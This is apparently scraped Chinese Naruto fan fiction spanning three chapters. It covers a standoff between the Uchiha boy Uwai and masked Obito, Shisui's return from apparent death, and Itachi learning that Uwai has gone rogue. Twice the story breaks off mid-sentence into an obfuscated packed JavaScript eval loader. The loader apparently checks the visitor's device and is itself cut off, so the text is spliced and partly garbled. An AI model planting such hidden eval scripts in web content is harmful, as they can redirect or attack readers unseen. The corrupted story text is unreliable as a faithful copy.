他愿意成为桥梁的前提也是三代愿意妥协,否则他也不会这么做的。 这就是底线。 越过这条线,就不再是自己人。 反过来讲,村子和宇智波的矛盾,说到底也只是内部矛盾。就算高层要灭了宇智波一族,也必须是木叶忍者自己动手,绝对不能勾结其他忍村的人。 一旦勾结,性质就变了。 那是叛村。 同理,团藏也一样。 他可以对宇智波下手,可以杀止水夺眼睛,可以诬陷鼬栽赃羽怀。这些都在木叶内部斗争的范畴内。三代再不满,也不能直接动他,要按照一定的规矩。 他想砍了团藏也得先叛村。 团藏也能用自己的理由狡辩,他是继承了二代火影的意志,他只是在合理怀疑。鸣人的事情也只是为了锻炼人柱力的控制力,一切都是为了木叶。 但勾结晓组织,对付宇智波,一旦被发现,他就可以砍了团藏然后荣归故里了。 三代还得给他发个奖章呢,当然三代可能也很乐意这么做,他早就有培养他当根部继承人的意思。 总之,团藏不可能做这种事。他找大蛇丸合作大概已经是极限了,大蛇丸再怎么说也是木叶出身的叛忍,勉强算“内部问题”。三代对大蛇丸的感情也非常复杂,发布的任务一直都是捉拿叛忍大蛇丸,而不是击杀。 但晓组织是外来势力,性质完全不同。 所以,白绝在胡说。 当然,有了这番话,他砍团藏的时候也有了借口。 而且,这一切其实都建立在团藏没想到他会这么快掀桌子的情况下,而且他还真的有掀桌子的能力。 否则,为了保命,团藏做点什么过分的事情也不是不可能。 羽怀的笑容更深了一点。 他抬起头,看着树上那个惨白的身影。 “怎么?”白绝努力平复心绪,装作若无其事的样子,歪着头看着羽怀,并将话题引了回去,“小弟弟不信?” “你觉得呢?” 羽怀的声音很轻松,就像在问今天天气怎么样。 白绝愣了一下,然后那张惨白的脸上又重新堆满了笑。 “好吧好吧,随便你了,你们这些人心都是黑的。不过——”它摊开手,耸了耸肩,那个动作夸张得像在演戏。 它顿了顿,那只眼睛转了转。 “我们确实有他的情报,比如他现在的位置。” 羽怀没有接话。 他只是站在那里,等着对方说下去。 白绝等了片刻,见羽怀不接茬,脸上的笑容僵了一瞬。然后它转头看向那个戴虎皮面具的男人。 “斑大人,您看——” “情报可以给你。” 宇智波斑的声音从面具下传来,低沉沙哑,带着某种不容置疑的威压。 他的那只右眼始终盯着羽怀,三颗勾玉在里面缓缓旋转。 “但不是免费的。” 羽怀仰头看着他。 两人身高差距较大,没办法做到平等对视。 这个要求很合理,如果换个人来谈,他兴许会答应。 但如果他没有猜错,这个凭空冒出来的宇智波大概率就是九尾之乱的罪魁祸首,杀害四代目夫妇的真凶。 九尾失控的可能就那么几个,如果不是玖辛奈阿姨突然水平下降导致没控制住九尾,那么最大的可能就是面前这个宇智波了。 有着那个白色生物那样神出鬼没的同伴,想要得到玖辛奈阿姨分娩的地点也不是不可能。 “你想要什么?”羽怀开口道。 “写轮眼。” 那个男人吐出这三个字,语气平淡得像在说今天的夜宵要吃什么。 羽怀的手指动了动。 不是紧张,是某种本能的反应。他按住了那股冲动,继续看着对方。 “不是活人的。”那个男人补充道,那只右眼微微眯起,“那些死在根部手上的族人的,还有团藏这些年收集的。那些就够了。” 羽怀没有说话。 他的目光越过那个男人,落向远处宇智波族地的方向。那里亮着几盏灯,在夜色中显得格外温暖。 “不给。” 羽怀收回目光,看着那个男人。 他拒绝了,就像是拒绝了一个向他索要糖果的小孩。 白绝的声音从树上传来。 “小弟弟,你这就不够意思了吧?”它歪着头,那张惨白的脸上堆满了笑,“那些都是死人的眼睛哦,又不是要你挖活人的。连这点诚意都没有,还想要情报?” 它顿了顿,语气里带上了一丝嘲弄。 “你这样,我们很难办啊。” 羽怀没有看它。 虽然不是很想和这个宇智波斑谈判,但很明显,这个宇智波斑才是能拍板的人。 他盯着这个戴虎皮面具的男人,看着那只露出来的猩红的右眼。 “诚意?” 他的嘴角弯了一下。 那笑容很淡,在夜色下显得模糊不清。 “行。” 他的右手按上刀柄。 宇智波斑的瞳孔微微收缩了一瞬。很短暂,短暂得几乎察觉不到。但羽怀看见了。 刀刃出鞘。 没有刀光,没有破空声。只有一道紫色的月牙形刀芒从刀锋上飞出去,笔直地斩向那个男人。 刀芒的速度太快,眨眼间便穿透那个男人的身体,从他的胸口进去,从后背出来,然后继续向后飞驰。 “咔嚓——” “咔嚓——咔嚓——” 身后那片树林里,十几棵两人合抱粗的大树同时从中间断开。树干倾斜,树冠倒塌,轰隆隆的巨响在夜空中炸开,惊起无数飞鸟。 尘土飞扬。 月光被遮住了一半。 等尘埃落定,宇智波斑身后的那片树林已经空出了一小片地。十几棵大树的断面整齐得像镜面,在月光下泛着白森森的光。 而宇智波斑,仍旧站在原地,没有移动分毫。 刀芒穿透了他的身体,但他还站着,完好无损。 白绝的笑声再次响起。 “哈哈哈哈——”它笑得前仰后合,差点从树上掉下来,“小弟弟,你这也叫诚意?砍都砍不中人,还好意思——” 但下一刻,白绝的话音就戛然而止。 因为它看见了宇智波斑瞪过来的眼睛。 那只猩红的右眼里,三颗勾勾玉不知何时已经消失,取而代之的是一个复杂的图案。 万花筒写轮眼。 在瞪了白绝遗言后,宇智波斑扭头,死死盯着对面的小孩。 白绝的笑容僵在脸上。 它顺着那个男人的视线看过去,对面的那个孩子,眼睛里同样浮现着复杂的图案。 刀刃组成的风车,在瞳孔深处缓缓旋转。 也是万花筒。 月光下,两道猩红的光对视着。 沉默持续了三秒。 也许更短。 宇智波斑,或者说宇智波带土,并没有动。他只是站在那里,看着那双眼睛,看着那个图案。 他的万花筒能力是虚化,就是能让身体进入异空间从而躲避攻击。 在那一刀穿透他身体的时候,他发动了自己的能力。 在身体进入异空间时,任何攻击都会穿过,伤不到他分毫。 然而,就在刀芒透体而过的瞬间,在那非常准确的一刻,刀芒刚刚穿透身体,尾端还贴在他后背上的那一刻,他被强行从虚化状态里打了出来。 只有一瞬间。 短得连他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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确实是诚意。 但也是警告。 那一刀是在告诉他:你的能力,对我没用。 如果不把情报告诉他,他会动手,就像他对那些根部的蝼蚁们做的一样。 他们可能会两败俱伤,然后让木叶捡个大便宜。 宇智波一族什么时候又出现了这样的鬼东西?之前的宇智波鼬就很难缠了现在又来了一个。 带土只觉得每次到木叶似乎都很倒霉。 不过他也承认,自己确实不擅长谋算相关的事情。至少和团藏三代这些政治家比起来,他还是太稚嫩了,甚至他连面前的这个小鬼都比不过。 不过他擅长另一件事。或者说宇智波一族在情绪比较极端的同时也会带来一种天赋,那就是对人心的理解和把握。 羽怀揉了揉酸涩的眼睛,将血红色的痕迹抹掉。 他现在其实也不算好过。 在刀芒透体而过的瞬间,他感觉自己的眼中突然涌出一股温热的液体。 然后他的视野都变红了一些。 似乎是出血了。 眼球中应该是没有血管的,所以大概是从眼球深处渗出来的。疼痛是钝的,不是尖锐的,但那种钝痛比尖锐更让人不安,这意味着他的视神经在超负荷运转。 他才刚开万花筒血轮眼,而且年纪实在是太小了点,相关的硬件设施有些扛不住这么庞大的阴属性查克拉。 血在慢慢止住,但还是流出来了一些。看来万花筒的能力还是要少用。 他眨了一下眼。 只是一下。 血被睫毛扫开,在眼睑下方留下一道浅浅的红痕。他没有抬手去擦。 他的表情没有任何变化,呼吸没有任何波动。甚至握刀的手指,都没有多收紧一分。 但这一切还是被白绝看见了。 白绝的笑容变了。 那张惨白的脸上,原本夸张的、做作的笑容,突然变得真实起来。真实得让人恶心。 它的眼睛转了转。 “斑大人!” 它的声音尖锐得像在尖叫,又像是在笑,分不清是哪一个。 “他的眼睛——他撑不了几次!” “闭嘴。” 白绝的叫声戛然而止,像是被突然攥住了喉咙。 “你的眼睛,是刚开眼吧?” 羽怀握刀的手指收紧了。 “是止水的死,让你开的眼?” 羽怀没有回答。他的呼吸依然平稳,他的重心依然压在最佳的出刀角度上。 面具男继续说,声音越来越轻,越来越慢。 “你恨团藏。恨木叶。恨这个让你哥哥去死的世界。” 他顿了顿。 “我懂。” “你懂?” 羽怀冷笑一声。 他能看出对方的策略变了,但他无所谓,他现在只要情报。对方愿意白给,他当然也乐意接受。 不过他还是想刺激一下对方,因为他发现对面这人似乎也有宇智波一族的通用弱点,那就是容易情绪上头。 这么看来对方眼里的这只写轮眼应该是他自己的。 他的声音很轻,但语气里的嘲讽浓得像化不开的墨迹一样。 “你戴着面具藏头露尾,连脸都不敢露,你懂什么?” 带土噎了一下。 白绝在树上小声嘀咕:“斑大人,他说你怂。” 带土:“闭嘴。” 羽怀继续说:“你说你懂我的恨,那你倒是把面具摘了,让我看看你是什么表情。” 带土沉默了。 白绝又小声嘀咕:“他不敢。” 带土:“我说了闭嘴。” 白绝:“哦。” 16.第 16 章 止水醒来的时候月亮已经到了很高的位置了。 他不知道现在几点。头顶是密实的树冠,月光从枝叶缝隙漏下来,在地上切出几块破碎的银白。他躺在一片灌木丛里,身上盖着几片不知谁扯来的大叶子。 止水躺了两秒,盯着那些晃动的光斑,脑海里一片空白。 他没死。 当这个认知从意识深处浮起来的时候,他下意识地坐起身来,开始检查自己的身体。 手指能动,手腕也能动。肘部、肩膀、腰部、膝盖、脚踝,各个主要关节处全部能动,虽然有些僵硬,但之后会逐渐好转。 他撑着地面站起来,低头看向腹部。那里本该有一道刀伤,但现在只剩一道浅粉色的疤痕,新长出来的皮肤嫩得像婴儿。 毒也解了。 止水伸手摸了摸自己的左眼。眼睛,连眼睛都重新出现了?虽然里面的瞳力已经消失了,但这样也足够神奇了。 就算没有写轮眼,他本身也有着强大的战斗力。 他站在树林间,愣了大概三秒,思绪在脑海中回想先前的记忆。 然后他想起来了。南贺川,河底,那只抓住他的手。还有那个低沉沙哑的声音,说的那些奇怪的话。 “认错人。” “看在同族的情谊上。” 止水站起身,环顾四周。灌木丛,树林,远处隐约可见的水光,这里还是南贺川附近,但位置比他落水的地方偏了下游。他原地转了一圈,没有看见任何人影。 “前辈?”他开口。 声音在树林里荡开,惊起几只夜鸟。没有人回应。 止水等了片刻,没有再喊。对方既然选择离开,就是不想见他。他暂且记下这份救命之恩,报答的事,等以后有机会再说。 然而,当他迈出第一步的时候,光着的左脚踩在一颗尖锐的石子上。 “嘶——” 他倒吸一口冷气,单脚跳了两下,扶着树干站稳。低头看了看那只光脚,脚底板已经印上一个红印子。 毒素虽然已经解了,但他还是觉得自己的腿脚有些不太利索。 “我的……鞋呢?” 他环顾四周,没有。河滩上只有碎石、落叶和……一具尸体?他看了看那些尸体的脚,尺寸不对,而且穿死者的鞋……不太合适。 这里为什么能看到尸体…… 难道是从上流冲下来的? 止水深吸一口气,把重心放在右脚上,左脚尽量踮着,以一种极其别扭的姿势往前走。 木叶虽然最近比较和平,但对忍界而言,死人其实还是常有的事情。偶尔看到一具尸体其实并不奇怪,如果不是有人救了他一命,他也会成为其中的一员。 走了三步,他又踩到一根树枝。 “咔”的一声脆响在寂静的树林里格外刺耳。 止水停下来,面无表情地看着那根被踩成两截的枯枝。 “……前辈,你就不能顺手把我的鞋也捞上来吗?” 没人回答。 他认命地继续走。走了大约两百米,左脚已经踩遍了石子、泥坑、落叶堆和一团不知道什么动物的粪便。 他停下来,面无表情地把脚在草地上蹭了蹭,然后抬头看天。 月光很亮,照着他那张欲哭无泪的脸。 “忍者不需要鞋。”他小声对自己说,“忍者可以适应任何环境。” 然后他一脚踩进了一个水坑。 “噗”的一声,泥水溅了他半条裤腿。 止水站在原地,低头看着自己那只泡在泥水里的脚,沉默了三秒。 自从他瞬身术大成之后,已经好久没有这么狼狈了。 “……行吧。” 他把右脚也踩进水坑里,保持平衡,继续往前走。 至少现在两只脚一样了。 然而,在他正准备离开之时,一股气味突然钻入他的鼻腔。 很淡,但很特殊,也很熟悉。 是血腥味。 止水皱了皱眉。他的嗅觉不算特别敏锐,此时也没有刻意地去感知,这样就能闻到说明出血量不小。他顺着气味走了几步,穿过几棵树,眼前豁然开朗。 另一个方向的河滩。 月光照在河滩上,照出横七竖八的尸体。他们全部身穿根部的制式服装。 动物面具,忍具散落一地。血渗进碎石之间,在月光下泛着黑红色的光。 止水的瞳孔微微收缩。 他快步走过去,蹲下检查最近的一具尸体。致命伤在脖颈,一刀毙命,手法干净利落。他又看了几具,有的断手断脚,有的胸口中刀,全都是致命伤,没有一个活口。 他数了数人数。总共有七个,不,加上最早看到的那个,一共八名根部忍者。 止水站起身,目光扫过整片河滩。 尸体一共八具,似乎都是被瞬间击杀的,没有什么反抗的迹象。而且看痕迹,现在距离战斗结束的时间并不长,最多不超过一个小时。 杀人者可能还没走远。 止水的第一反应是:村子和族人打起来了。 但随即他就发现了不对。 这些尸体都是根部的。没有一个穿宇智波族服。 止水站在原地,脑子里飞快地转。 根部的忍者出现在宇智波族地附近,被全灭。没有宇智波的尸体。这意味着什么? 意味着有人杀了他们。而宇智波的人就是第一怀疑对象。 而那个人,在杀了十多个根部忍者之后,离开了。 族中有这样实力的人……难道是富岳族长出手了?没听说富岳族长会用刀呀? 止水转身,朝着族地的方向看去。那里的灯火比平时亮得多,远远能看见许多光点在移动。 他应该去火影大楼。 这么多根部忍者死在这里,他必须向三代目汇报。他活着回来的消息也必须尽快传递出去,否则局势可能会失控。 但他看着那片灯火,脚下没有动。 犹豫了两秒。 然后他朝着族地的方向跑去。 比起三代,他其实更担心族里会先失控,他对自己族人还是有些了解的。 毕竟血轮眼的开眼条件就摆在那里。 另外,他也得先看看鼬和羽怀。 他死前对鼬说了许多话,现在想想,将全部的压力都压到鼬的身上确实有些不太妥当。 鼬虽然也已经是暗部的忍者了,但终究才十二岁,是正准备从忍校毕业的年纪。突然承受这么大的压力,很可能会出现些不好的事。 还有羽怀,明明刚结束任务回来,就得到这样的消息,想必肯定很难接受吧。 族地里灯火通明。 止水刚踏进族地范围,就感觉到了气氛不对。 虽说不知道具体时间,但此时的天色已经全黑。 往常这个时间,族人们大多已经休息了,路上几乎看不见人。但今晚,街上有人,而且不少。三三两两的族人聚在一起,低声说着什么,神情凝重。 止水放慢脚步,从暗处穿行。 他没有直接露面。他还不知道自己“死”后发生了什么,贸然出现可能不是最好的选择。他需要先看看情况。 越靠近族地中心,人越多。最后他停在神社附近的一棵树上,透过枝叶看向神社前的广场。 那里聚集了接近百人。几乎所有在族地内的忍者都到了,甚至还有一些年纪很大的已经不做忍者的老前辈。他们站在广场上,围成半圆,面对着神社台阶上的宇智波富岳。 富岳穿着正式的族服,站在那里,手里握着一份卷轴。他的脸在火光中显得格外阴沉。 美琴站在他身后半步的位置,手里抱着佐助。佐助已经醒了,瞪着眼睛看着下面的人群,脸上还带着没睡醒的迷糊。 止水扫了一圈,没有看见鼬,也没有看见羽怀。 富岳开口了。 “想必大家都知道了。” 他的声音不大,但整个广场都安静下来,所有人都看向他。 “宇智波止水,我们一族年轻一代的最强者,宇智波镜的后代——”富岳顿了顿,目光扫过人群,“被志村团藏污蔑成了刺杀高层的凶手。” 人群里响起一阵骚动。 富岳抬手,压下骚动。 “止水现在下落不明。”他的声音很沉,“但团藏已经把消息传遍了高层,说止水试图用别天神控制他,被宇智波鼬阻止。相信我们中也有不少人得到了这个情报。” 骚动更大了。 窃窃私语声都有些压不住了。 对于宇智波鼬的一些行为,族人们确实有些不满,但他们也不会相信团藏的话。 至少不会马上相信。 富岳没有理会下面的声音。他只是站在那里,等骚动稍微平息,才继续说下去。 “无论团藏怎么说,有一件事是确定的。”他的目光变得锐利,“他杀了我们宇智波的族人。宇智波止水,不是失踪,是死在了团藏手里。” 广场上一片寂静。 “今晚把大家叫来,就是要说这件事。”他的声音沉稳有力,“团藏敢这么做,是因为他有恃无恐。他觉得宇智波不敢动手,觉得我们会忍气吞声,觉得我们可以随便欺负。” 他顿了顿。 “但我不打算忍。” 人群静了一瞬,然后爆发出更激烈的响应。 富岳的目光扫过人群。在火光的映照下,他的脸很平静,但那双眼睛里有什么东西在翻涌。 “我已经清点过人数了。”他说,“有一个族人没有回来。” 人群再次安静下来。 “他已经死了。”富岳的声音很平静,“死在根部手里。就在族地外面,离我们不到一里地的地方。” 佐助在美琴怀里动了动,小声问:“妈妈,爸爸在说什么?” 美琴没有回答。她只是把佐助抱得更紧了一点,手按在他脑后,让他把脸埋在自己肩上。 富岳继续说:“团藏已经派了不少根部的忍者包围族地。他想把我们困在这里,等我们内部吵起来,等我们自相残杀。” 他的嘴角动了动,像是在笑,但那笑容冷得刺骨。 “可惜他算错了一件事。” 他抬起眼睛。 “宇智波一族的骄傲,从来不是他能理解的。” 广场上安静得只剩下火把燃烧的噼啪声。 富岳深吸一口气,声音拔高了几分。 “既然他说我们刺杀高层,那我们就做给他看。” 人群爆发出震天的呼声。 “对!” “杀过去!” “让团藏看看宇智波的力量!” 富岳抬起手,再次压下骚动。他的目光扫过人群,扫过每一张脸,最后落向神社的屋顶,像是在看什么很远的地方。 “今晚,所有人都留在族地。”他说,“做好准备,等我的……” “等一下!” 宇智波止水从阴影里走出来。 还好他选择了回族里,否则就真的完蛋了。 月光落在他身上,照出那张所有人都熟悉的脸。虽然身上有些湿漉漉的,左脚还光着,裤腿上全是泥点子,但从行动的流畅程度来看,他身上甚至没有什么严重的伤势。 广场上,那几张刚才还咬牙切齿的脸,此刻正经历着极其精彩的变化。 第一个长老的嘴还张着,保持着刚才喊“杀过去”的口型。看见止水的瞬间,那个“杀”字就卡在喉咙里,变成了一声奇怪的“咔”,像被鱼刺卡住了一样。 第二个长老的反应最快。他在眨眼间完成了从“悲愤”到“惊喜”的表情切换,脸上还挂着半滴没来得及收回去的泪,嘴角已经翘起来了。那滴泪顺着脸颊滑下来,挂在他的笑容旁边,看起来像是在哭又像是在笑。 第三个长老手里的苦无“当啷”一声掉在地上,砸在自己的脚背上,但他完全没感觉到,只是张着嘴,呆呆地看着止水。 “止水?”富岳的声音从喉咙里挤出来,像是被人掐住了脖子。 止水看着他,表情有些尴尬。 “那个……我回来了。”他说。 沉默。 死一般的沉默。 然后—— “止水!” 第二个长老率先反应过来。他大步走过去,一巴掌拍在止水肩上,力道大得止水整个人歪了一下。 “好小子!你没死!”他的声音又尖又亮,带着一种劫后余生的狂喜,“我就知道!团藏那个混蛋怎么可能杀得了你!你可是我们一族年轻一辈的最强者。” 止水被他拍得肩膀一歪,好不容易站稳:“……前辈,你刚才不是说要杀过去吗?” “那是战术!”长老理直气壮,脸上的泪还没干,但笑容已经灿烂得像过年,“我们宇智波从不打没准备的仗!你活着,我们就不用打了,多好!” 这位是个温和派长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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佐助从美琴肩上抬起头,揉了揉眼睛。他刚才差点睡着了,被刚才那阵喧闹吵醒,此刻正一脸茫然地看着四周。他看了看止水,又看了看富岳,那张小脸上满是没睡醒的迷糊。 “止水哥没死,”他说,语气认真得像在确认今天的作业,“那他刚才说的那些话,是不是就不用当真了?” 富岳的嘴角抽搐了一下。 止水也僵住了。 佐助继续说,越说越来劲,困意都被自己的逻辑赶跑了:“你说要杀团藏,是因为止水哥死了。现在止水哥没死,那就不用杀了吧?” 他歪着头,看着富岳。 “那我们是不是可以回家睡觉了?我好困。” 他打了个小小的哈欠,眼泪都挤出来一滴。 月光下,那张小脸上满是“这有什么好纠结的”的困惑。 广场上再次陷入沉默。 但这次的沉默和刚才不一样。 几个长老的肩膀在抖。有个年轻的族人把脸别过去,对着神社的墙,肩膀一耸一耸的。就连那几个刚才还在抹眼泪的,此刻也忍不住弯起了嘴角。 富岳看着儿子那张无辜的脸,沉默了三秒。 “对。”他说,声音干涩得像砂纸磨过的木头,“可以回家睡觉了。” 佐助满意地点点头,把脸重新埋进美琴肩上,嘟囔了一句:“那就好。明天还要上学呢。” 然后他闭上眼睛,真的睡着了。 美琴终于没忍住,肩膀抖了一下。 她在笑。 富岳面无表情地扫了一眼全场。那些憋着笑的族人立刻收敛表情,正襟危坐,有几个甚至抬头看天,仿佛今晚的月亮突然变得格外好看。 “今晚的集会,”富岳一字一顿地说,“到此结束,之后等我消息。” 他转身就走。 走了两步,又停下来,头也不回地补了一句: “宇智波止水,跟我回去说明情况。” 止水应了一声“在”,低头看了看自己手里不知何时被塞过来的团子、外套和手帕,一时不知道该往哪儿放。 旁边一个族人眼疾手快,把东西全接过去:“去吧去吧,东西我帮你拿着。到时候都扔你家里。” 另一个族人小声嘀咕:“那我们还杀不杀了……” 旁边的人一巴掌拍在他后脑勺上:“人都活着,杀什么杀!回家睡觉!” ———— 止水跟在富岳身后,穿过族地的石板路。 月光把两个人的影子拉得很长,一前一后,沉默地往前移动。 走了大约几十步,止水突然停住了。 富岳没有回头,但也停下了脚步。 “怎么了?” 止水的表情变得微妙。不是那种“死里逃生的后怕”,也不是“被族人围观的尴尬”,而是另一种更复杂的东西。 “那个,我的……遗书。”他说。 富岳转过身,看着他。 “我给鼬和羽怀留了遗书。”止水的声音越来越小,小到最后几个字几乎是含在嘴里说的,“一人一封。写得……挺认真的。” 富岳沉默了一秒。 月光照在他脸上,那张一向严肃的面孔此刻看不出什么表情。 “写都写了。”他说,语气里带着一丝不易察觉的幸灾乐祸,“我也没办法强行收回来,你知道的,他们两个都不怎么听我的,不如留着当纪念吧。” 止水的脸抽了一下:“族长,那里面写的东西……不太适合当纪念。” “写了什么?” 止水张了张嘴,又闭上。 但他的脑子里已经开始不受控制地回放那些内容了。 给鼬的其实不是遗言,而是用来拖住族人的借口。给羽怀的才是真遗言,他写了挺多比较肉麻的话。 …… 止水深吸一口气。 他现在只觉得,之前在全族面前表演复活其实根本没什么,如何面对鼬和羽怀才是更大的问题。 “族长,”他认真地问,“你说羽怀看到遗书的时候,会是什么反应?” 富岳想了想。 “忘了和你说了,你弟弟也开万花筒了。” “……是鼬吗?没想到因为我……” “鼬我不清楚,但羽怀是开了的。”富岳顿了顿,“我猜是因为你的遗书,但我并不确定。” 止水的脚步顿了一下:“什么?” 17.第 17 章 虽然止水很想追问些什么,但富岳并没有解释的意思,或者说他其实也不知道更多的信息了。 族长宅的走廊很暗。 止水跟在富岳身后,脚步声被榻榻米吞没,只剩布料摩擦的窸窣声。 富岳停在二楼第一间房门前。 “鼬在里面。”富岳的声音很轻,“羽怀送他回来的。” 止水点了点头。 还没等止水去问羽怀的下落,他就转身下楼了。他的背影在走廊尽头消失,脚步声越来越远。 止水站在门前,深吸一口气。 他已经做好了心理准备。鼬可能会哭,可能会骂他,可能会用万花筒瞪他——等等,既然羽怀有了万花筒,鼬的确可能也会万花筒了。 止水摸了摸自己的额头。 被万花筒瞪一下,应该不会太疼吧? 算了,被弟弟瞪一下也不会少块肉。 止水摇了摇头,推开纸门。 房间里很暗,窗帘拉着,光透不进来,但外面也没有什么光就是了。鼬躺在床上,薄被盖到胸口,呼吸很浅,浅得像随时会断掉。 止水在门口站了两秒。 他看见鼬的脸。那张脸比记忆中更瘦,颧骨的轮廓清晰得有些刺眼。眼睑紧闭,眉头微微皱着,像是睡梦中也在想什么。 比预想的情况更糟,鼬昏过去了。 他走过去,在床边坐下。 榻榻米传来轻微的吱呀声。但鼬没有醒。 也许是因为在自己的房间,也许是因为太累了,又或者是因为靠近的人是止水,若是正常情况,鼬绝不可能在别人靠到身边时还没有醒过来。 止水的目光落在鼬身上。 抱歉鼬,辛苦你们了。 但下一刻,他看见了一张纸条。 纸条压在鼬的身体下方,从腰侧露出一角,如果不仔细看根本发现不了。 止水伸出手,两根手指捏住那个角,一点一点抽出来。 纸条不大,对折过一次,边缘撕得并不整齐,像是从什么本子上匆忙撕下来的。止水展开纸条,目光落在那几个字上。 墨水是黑的,字迹有些潦草,但每一笔都收得很利落。 “哥哥,我去当叛忍了,不用找我。” 止水的手指顿住了。 他盯着那几个字,看了很久。他知道这不是写给他的,而是写给鼬的。 他认出这个字迹。是羽怀的。也许是练刀的缘故,虽然字写得不算漂亮但……比较有力气。 不过现在并不是回忆弟弟字迹的好时候。 叛忍。 这个词在止水脑子里转了一圈,像是有人在他的耳边又强调了一遍。 止水的呼吸停了一瞬。 他想起今晚在南贺川河滩上看见的那些尸体。二十多个根部忍者,全死了,手法干净利落。他当时还在想,是谁杀了他们。 现在他知道了。 大概是他弟弟杀的。 而他弟弟现在…… 然后止水听见身后传来声音。 很轻,沙哑得几乎听不清。 “……止水?” 止水转过头。 鼬不知何时睁开了眼睛,此时正看着他。那双眼睛里全是血丝,眼窝深陷,明明应该是刚睡醒,却像是很久没睡过觉一样。 几秒后,鼬的嘴唇动了动。他的双眼猛地瞪大了一些,眼里此时充满了不敢置信。 “你……活着?” 止水看着他,嘴角弯了一下,伸手揉了揉对方的脑袋。 “嗯。”他说,“被人救了。” 鼬没有说话。 他只是看着止水,那个活生生的人,他以为再也见不到的人。止水不仅没事,甚至连身上的伤都好了。他的眼眶开始发红,但最终什么都没流出来。 止水等了两秒,没等到下文。 “……你不说点什么?”止水忍不住问,“比如‘太好了’、‘吓死我了’之类的?” 鼬重新恢复面无表情的模样,双眼直直地盯着他。 “你死了。我差点疯了。羽怀开了万花筒。现在你说你被人救了。” 他顿了顿。 “我还在消化。” 止水:“……” 止水将纸条递过去。 “羽怀留下的。”他说。 鼬接过纸条,低头看。 那几个字映入眼帘的瞬间,他的呼吸停了一拍。手指收紧,将纸条边缘捏出褶皱。他盯着那几个字,盯着那个“不用找我”,盯了很久。 “他把我背回来的。” 止水点头。 “他破了我的月读。” 止水又点头。 “他开了万花筒。” 止水继续点头。 鼬沉默了两秒。 “……然后他去当叛忍了。” 止水终于没忍住:“你总结得很精辟。” 鼬抬起眼睛看着他。 那双眼睛里的血丝,因为“精辟”这个词,似乎多了一条。 “我之前对他用了月读,我的万花筒瞳术。”鼬继续说,“他用万花筒破了。” 止水的眉头动了动。 好吧,他的弟弟们在他离开后用万花筒对瞪了…… 没想到他的死对弟弟们的伤害这么大,居然开了两对万花筒…… 不过事情似乎远比他想象的要严重许多。 “他的能力是什么?” “不清楚,也许是无效化。他一直觉得我的幻术太赖皮了。”鼬闭上眼睛,“写轮眼的图案是刀刃组成的风车。” 沉默。 止水坐在床边,看着鼬的脸。那张脸上没有泪,只有一种很深很深的疲惫。 “他想杀团藏。”鼬说,“我拦不住。” 止水站起身。 “我去追他。” 鼬睁开眼睛,看着他。 “你的眼睛……” “没关系的。”止水说,“就算没有写轮眼,我也是上忍。” 鼬摇了摇头。 他撑着床沿,慢慢坐起来。动作很慢,每一下都像用尽了全力。他靠在床头,看着止水,那双眼睛里的血丝更多了。 “你追不回来的。”他说,“他开了万花筒。他的能力……你的别天神可能也没用。” 止水愣了一下。 然后他伸出手,弹了一下鼬的额头。 “咚”的一声,清脆响亮。 鼬的表情终于有了一丝变化,当然不是因为疼,而是意外。 “我不会对他用别天神的。”止水收回手,语气认真,“还有,你对弟弟用幻术的事,回头再找你说。” 鼬伸手捂住额头。 “……那是战术。” “战术?” “当时我的状态,打不过他。” 止水张了张嘴,又闭上。 所以你对弟弟用万花筒,是因为打不过? 这是什么宇智波式的兄弟逻辑? 他深吸一口气,决定先把这个问题留到以后。 鼬伸手捂住额头,他也没有继续解释。 他低下头,从怀里掏出一样东西。 那是一个小卷轴。封印术式的纹路密密麻麻,缠绕在卷轴表面。鼬解开封印,掌心出现了一只玻璃瓶。 瓶子里泡着一只眼睛。 猩红的底色,三颗勾玉在眼球中静静悬浮。 止水看着那只眼睛,没有说话。 “你的。”鼬将瓶子递过去,“还给你。” 止水接过瓶子。 玻璃很凉,凉得有些刺手。他看着里面那只眼睛,看着那三颗静止的勾玉,看了很久。 “对不起。”鼬的声音从旁边传来,很轻,轻得像一片落叶,“我……没能保护好羽怀。” 止水摇了摇头。 “不是你的错。” 他将瓶子攥在手心,抬起头,看着窗外。阳光从窗帘缝隙漏进来,在空气中切出一道明亮的光柱。 “是我。”他说,“我以为死了就能解决问题。那样你们就能安全。” 他顿了顿。 “是我自以为是。” 鼬没有说话。 “不过这些等以后再谈。”止水的声音很轻,但语气十分坚定,“先得把人带回来。” 房间里安静了几秒。 止水突然想到什么,又低头看了一眼手里的瓶子。 “……这个我先拿着。等找到羽怀,让他看看能不能装回去。” 鼬的眉头动了动:“他不是医疗忍者。” “但他开了万花筒。”止水理直气壮,“万花筒应该什么都能干。” 鼬沉默了两秒。 “……你的逻辑和佐助说‘哥哥们都能一年毕业所以我也行’一样。” 两人都露出了会心的微笑,但很快笑容收敛。 止水转过头,看着鼬。 “关于族里的情况,我也了解到了一些,团藏的谣言,在我活着回来后就不攻自破了。”他说,“我能和族人说清楚,也能和三代说清楚。这次之后,团藏绝对不会有什么好下场。村子和族人的关系……” 他顿了顿。 “能解决。” 鼬看着他,那双眼睛里有什么东西在翻涌。 “那羽怀呢?” 止水沉默了一瞬。 “我会把他带回来。”他说,“有什么仇肯定是要我亲自报的,不用让弟弟为我操心。” 鼬没有说话。 “我的眼睛你先放着。”止水将瓶子递给他,“我现在可能没空把眼睛装回去。” 鼬接过瓶子。 “我也不知道团藏是怎么做到的,但我没办法直接把眼睛插回去。”止水说,“至少得有一名医疗忍者帮忙。” 说来也确实奇怪,哪怕是宇智波的族人,本身就拥有相关的血继限界,想要移植其他族人的写轮眼也有许多限制。 如果血缘关系比较近还好说,大概率没什么问题。但如果是要移植给外人,或多或少都会有些副作用。 比如卡卡西,他的写轮眼来自宇智波带土。但卡卡西并不是宇智波的族人,所以他的写轮眼没办法关闭。这也导致卡卡西的查克拉一直不太够用。 但团藏居然能直接将他的写轮眼塞到眼眶里,而且似乎没产生什么不良反应…… 他的写轮眼还是万花筒级别的呢,可不是一般人能承受的。 